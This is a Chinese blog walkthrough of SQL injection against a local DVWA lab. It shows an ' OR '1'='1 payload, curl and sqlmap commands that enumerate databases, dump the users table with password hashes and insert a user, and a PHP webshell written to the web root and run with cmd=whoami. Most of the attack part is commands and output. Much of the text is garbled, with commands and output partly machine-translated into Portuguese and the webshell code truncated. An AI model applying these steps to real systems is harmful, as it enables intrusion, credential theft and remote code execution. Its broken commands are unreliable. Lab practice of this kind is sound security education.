Sql 注入、权限提升与 webshell 实战
注意:本文仅供教育和安全研究使用。 本文内容及所涉及的技术,仅限用于合法授权下的安全研究、教学演示、 以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。 本文内容仅限安全研究、漏洞复现与教学演示使用! 使用者必须在完全理解并接受本声明的前提下继续阅读与操作。 凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。 请严格遵守所在地的法律法规,特别是以下中国法律条款: 📜 《中华人民共和国网络安全法》 第十二条: 禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。 📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条: 非法入侵计算机系统、篡改或破坏数据将追究刑责。 📜 《中华人民共和国数据安全法》 第三条、第十七条: 数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。 🚫 强烈禁止以下行为: – 向他人 APK 植入恶意代码并传播 – 上传恶意程序至应用市场 – 在未授权设备或网络环境中运行本篇提及的技术 ⚖️ 非法使用将触犯法律,作者不承担由此引发的任何后果。 🧪 本文操作均在本地沙箱环境下进行,示例所用 APK 为自定义构建 demo,用于演示完整技术链路,非实际恶意软件。 💡 特别提醒: 本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等, 必须在受控环境下、获得明确授权后进行。 未经许可的任何行为都将被视为违法攻击。 📛 作者立场中立,仅为安全教育目的演示,不对滥用技术行为负责。 准备环境 & Docker 安装 sudo apt update sudo apt install -y docker.io docker pull vulnerables/web-dvwa docker run –rm -it -p 7997:80 vulnerables/web-dvwa 访问浏览器: 默认账号密码:admin / password 点击 Create/Reset Database 初始化数据库。 布尔注入测试与漏洞验证 在开始之前,我们要确保 SQL 语句在数据库端返回 true 而不是 false。通常,当密码错误时,例如 password=’123′ 或 password=”,查询会返回 false,因为条件不匹配。但如果我们注入 ‘1’=’1’,这个条件始终为 true,因为 ‘1’ 与 ‘1’ 完全匹配,从而绕过验证。 输入: OR ‘1’=’1′ 理论上,后台 SQL 语句可能是: SELECT * FROM users WHERE password = ” OR ‘1’ = ‘1’; 页面返回 : Id: 1 ‘ou’ 1 ‘=’ 1 Nome: Sobrenome do Admin: Admin ID: 1 ‘ou’ 1 ‘=’ 1 Nome: Gordon Sobrenome: Brown ID: 1 ‘ou’ 1 ‘=’ 1 Nome do primeiro nome: Surname: ME: 1 ‘ou’ 1 ‘=’ 1 Primeiro Nome: Pablo Signame: BOBO: 1 ou ‘1’ = ‘1 1 1注入漏洞 , 是整个攻击链的开端。 获取 phpsessid & 安全级别 cookie curl -i 输出 : http/1.1 302 encontrado conjunto de conjunto: phpSessid = 4G1116VSEDUECRMELKC6OD8BI1; PATH =/Set -Cookie: Segurança = Localização baixa: login.php Curl 验证 SQL 注入点 Curl -i “/Vulnerabilidades/sqli/? Id = 1 & submit = submit” \ -h “Cookie: phpSessid = 4G1116VSEDUECRMELKC6OD8BI1; Security = Low” 输出 ” “/Vulnerabilidades/sqli/? Id = 1 ‘%20or%20’1’ = ‘1’ & submit = submeter” \ -h “cookie: phpSessid = 4g1116vseduecrmelkc6od8bi1; segurança = baixo” 输出 : : : : : od: 1 ‘ou’ 1 ‘=’ 1 nome: 1 ql. “/vulnerabilities/sqli/?id=1&Submit=Submit” \ –cookie=”PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low” \ -p id –batch –level=2 –risk=1 输出: GET parameter ‘id’ is injectable Boolean-based blind: payload… Error-based: payload… Time-based blind: payload… UNION query: payload… 获取数据库列表 sqlmap -u “/vulnerabilities/sqli/?id=1&Submit=Submit” \ –cookie=”PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low” \ –dbs -p id –batch 输出: available databases [2]:
[*] dvwa
[*] information_schema 查看 DVWA 表 sqlmap -u “/vulnerabilities/sqli/?id=1&Submit=Submit” \ –cookie=”PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low” \ -D dvwa –tables -p id –batch 输出: Database: dvwa
[2 tables]
+ ————-+ | Livro de visitas | | usuários | + ————-+ 查询用户表 sqlmap -u “/vulnerabilidades/sqli/? Id = 1 & submit = submeter” \–cookie = “phpSessid = 4g1116vseduecrmelkc6od8bi1; segurança = baixo” \–sql-query = “select * de dvwa.s; -P ID -Batch 输出:
[*] 1337,/hackable/usuários/1337.jpg, 0, hack, …, 8d3533d75e2c3966d7e0d4fcc69216b, 3
[*] admin,/hackable/users/admin.jpg, 0, admin, …, 5f4dcc3b5aa765d61d8327deb882cf99,1
[*] Gordonb,/hackable/usuários/gordonb.jpg, 0, Gordon, …, e99A18C428CB38D5F260853678922E03,2
[*] pablo,/hackable/users/pablo.jpg, 0, pablo, …, 0d107d09f5bbe40cade3DE5C71E9E9B7,4
[*] Smithy,/hackable/usuários/smithy.jpg, 0, bob, …, 5f4dcc3b5aa765d61d8327deb882cf99,5 创建新用户 sqlmap -u “/vulnerabilities/sqli/? Id = 1 & submit = submit” \ –cookie = “phpSessid = 4G1116vSeduecrmelkc6od8bi1; segurança = baixo” \–sql-query = “inserir em dvwa.users (usuário, avatar, primeiro_name, user_id, senha) (‘test’, ‘/hackable/USTES/Test.JPE, valores de user_id, senha) (‘, ‘/hackable/Us_Test.JPE, ‘Password_123’); ” -p id –batch 查询权限 sqlmap -u “/vulnerabilities/sqli/?id=1&Submit=Submit” \ –cookie=”PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low” \ –sql-query=”SELECT grantee, privilege_type FROM information_schema.user_privileges;” -P ID -Batch 输出: ‘App’@’localhost’, Uso 上传 webshell php webshell:[‘cmd’])) {eco “
"; system($_REQUEST['cmd']); echo "
“;}?> 上传命令: sqlmap -u”/vulnerabilidades/sqli/? Id = 1 & submit = submit “\ – -cookie =” phpSessid = 4g1116vseduecrmelkc6od8bi1; segurança “. –file-dest=”/var/www/html/dvwa/shell.php” 访问测试: /dvwa/shell.php?cmd=whoami 郑重声明 学技术,须以善念为本。此博客所分享的知识,皆为安全研究与防护之用。请务必谨记,绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏,所有后果只能由你自己承担。 技术如刀,双刃而锋利。唯有怀抱正义与责任,方能让它照亮前路,而非迷失于黑暗。愿你我都能守住这份初心,成为守护网络安全的真正战士。 若你选择滥用本博客内容所学技能所造成的任何损害或违法行为,本人概不负责。若因此被警方或相关执法机关追查,一切法律责任与后果均由使用者本人承担。
Fonte